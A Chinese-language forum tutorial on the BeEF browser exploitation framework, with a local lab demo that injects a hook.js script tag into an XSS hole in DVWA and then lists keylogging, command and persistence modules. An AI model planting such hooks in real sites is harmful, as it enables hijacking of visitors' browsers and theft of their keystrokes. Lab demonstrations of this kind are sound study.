浏览器攻击框架 - Beefxss

Track-SSG   ·   发表于 2020-11-24 20:02:25   ·   安全工具

版本说明:Beefxss

下载地址:https://github.com/beefproject/beef/

使用环境:Linux( Ruby 2.5 + ,kali自带)

工具说明:一款浏览器攻击框架,用 Ruby 语言开发的,Kali 中默认安装的一个模块,用于实现对 XSS 漏洞的攻击和利用。

一、工具说明

BeEF是The Browser Exploitation Framework的缩写。它是一种专注于Web浏览器的渗透测试工具。

beef管理、挂钩web浏览器的过程:

  1. 生成交互paylaodhook
  2. 服务器端:beef作为服务端管理,管理访问运行了hook的客户端
  3. 客户端:运行与客户端浏览器的 Javascript 脚本(hook),也就是beef生成的payload
  4. beef将运行了hookweb浏览器钩住,进行管理

总的来说:beef能配合xss,将hook插入到存在xss的注入处;直接诱使客户端访问含有 hook 的伪造站点,结合中间人攻击注入 hook 脚本

二、工具下载

beef只支持Linux平台,Ruby的版本需要在2.5以上,kali中自带beef

下载:git clone https://github.com/beefproject/beef

安装配置查看:https://github.com/beefproject/beef/wiki/Installation

beef如果用于实战的话,需要建立连接的时候要使受害机能访问到beef,因此需要一个公网ip。

三、使用

本地进行演示:

攻击机kali:192.168.157.134

靶机DVWA:192.168.157.129

1.更改beef的默认用户名密码

beef的配置文件:/etc/beef-xss/config.yaml

beef的默认用户名密码为beef、beef,如果需要更改beef的用户密码,则在配置文件里面更改user和passwd的值,(默认是修改密码的,不然启动的时候会报警告)。

2.启动

终端输入beef-xss即可启动beef服务端。

beef的服务端地址为:http://127.0.0.1:3000/ui/panel,启动之后浏览器会自动打开网页,进入登录页面,用户密码为默认的beef,密码为你自己修改之后的密码

登录成功后,这里会显示在线的主机和不在线的主机。在线的就是现在该主机浏览器执行了我们的JS脚本代码,不在线的就是该主机曾经执行过我们的JS脚本代码,但是现在叉掉了该页面

3.插入脚本hook到靶机

然后我们的hook启动的时候已经给出:

  1. [*] Web UI: http://127.0.0.1:3000/ui/panel
  2. [*] Hook: <script src="http://<IP>:3000/hook.js"></script>
  3. [*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

kali的地址为192.168.157.134,那么靶机上插入的hook js脚本为:

<script src="http://192.168.157.134:3000/hook.js"></script>

在靶机DVWA上找一个xss漏洞,将hook插入到注入点:

留言提交后,靶机的浏览器就被beef钩上了:

4、beef管理

在beef上上钩了的受害机,beef对其可以获取到很多主机、浏览器信息

1、Details是浏览器信息详情

2、logs模块-键盘记录

3、commands-命令模块

Commands是你能对该浏览器进行哪些操作

主要模块:

  1. -Browsers(浏览器)
  2. - Exploits(攻击)
  3. - Host(主机)
  4. - Persistence(持久)
  5. - Network(网络)

绿色圆圈:表示模块适合目标浏览器,并且执行结果对客户端不可见

红色圆圈:表示模块不适用与当前用户,有些红色模块也可以正常执行

橙色圆圈:模块可用,但结果对用户可见(CAM 弹窗申请权限)

灰色圆圈:模块未在目标浏览器上测试过

打赏我,让我更有动力~

0 条回复   |  直到 2020-11-24 | 2896 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.